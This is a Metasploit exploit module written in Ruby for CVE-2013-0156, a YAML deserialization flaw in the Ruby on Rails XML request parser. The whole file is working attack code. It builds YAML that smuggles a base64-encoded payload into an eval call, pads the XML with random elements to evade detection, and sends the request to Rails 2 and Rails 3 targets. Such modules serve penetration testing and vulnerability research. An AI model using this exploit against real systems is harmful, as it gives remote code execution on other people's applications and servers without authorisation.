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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails XML Processor YAML Deserialization Code Execution',
'Description' => %q{
This module exploits a remote code execution vulnerability in the XML request
processor of the Ruby on Rails application framework. This vulnerability allows
an attacker to instantiate a remote object, which in turn can be used to execute
any ruby code remotely in the context of the application.
This module has been tested across multiple versions of RoR 3.x and RoR 2.x
The technique used by this module requires the target to be running a fairly recent
version of Ruby 1.9 (since 2011 or so). Applications using Ruby 1.8 may still be
exploitable using the init_with() method, but this has not been demonstrated.
},
'Author' =>
[
'charliesome', # PoC
'espes', # PoC and Metasploit module
'lian', # Identified the RouteSet::NamedRouteCollection vector
'hdm' # Module merge/conversion/payload work
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-0156' ],
[ 'OSVDB', '89026' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156' ]
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DisclosureDate' => 'Jan 7 2013',
'DefaultOptions' => { "PrependFork" => true },
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ])
])
register_evasion_options(
[
OptBool.new('XML::PadElement', [ true, 'Pad the exploit request with randomly generated XML elements', true])
])
end
#
# Create the YAML document that will be embedded into the XML
#
def build_yaml_rails2
code = Rex::Text.encode_base64(payload.encoded)
yaml =
"--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
"eval(%[#{code}].unpack(%[m0])[0]);' " +
": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " +
":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +
":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"
yaml
end
#
# Create the YAML document that will be embedded into the XML
#
def build_yaml_rails3
code = Rex::Text.encode_base64(payload.encoded)
yaml =
"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
"eval(%[#{code}].unpack(%[m0])[0]);' " +
": !ruby/object:OpenStruct\n table:\n :defaults: {}\n"
yaml
end
#
# Create the XML wrapper with any desired evasion
#
def build_request(v)
xml = ''
elo = Rex::Text.rand_text_alpha(rand(12)+4)
if datastore['XML::PadElement']
xml << "<#{elo}>"
1.upto(rand(1000)+50) do
el = Rex::Text.rand_text_alpha(rand(12)+4)
tp = ['string', 'integer'][ rand(2) ]
xml << "<#{el} type='#{tp}'>"
xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
xml << "</#{el}>"
end
end
el = Rex::Text.rand_text_alpha(rand(12)+4)
xml << "<#{el} type='yaml'>"
xml << (v == 2 ? build_yaml_rails2 : build_yaml_rails3)
xml << "</#{el}>"
if datastore['XML::PadElement']
1.upto(rand(1000)+50) do
el = Rex::Text.rand_text_alpha(rand(12)+4)
tp = ['string', 'integer'][ rand(2) ]
xml << "<#{el} type='#{tp}'>"
xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
xml << "</#{el}>"
end
xml << "</#{elo}>"
end
xml
end
#
# Send the actual request
#
def exploit
[2, 3].each do |ver|
print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...")
send_request_cgi({
'uri' => datastore['URIPATH'] || "/",
'method' => datastore['HTTP_METHOD'],
'ctype' => 'application/xml',
'headers' => { 'X-HTTP-Method-Override' => 'get' },
'data' => build_request(ver)
}, 25)
handler
end
end
end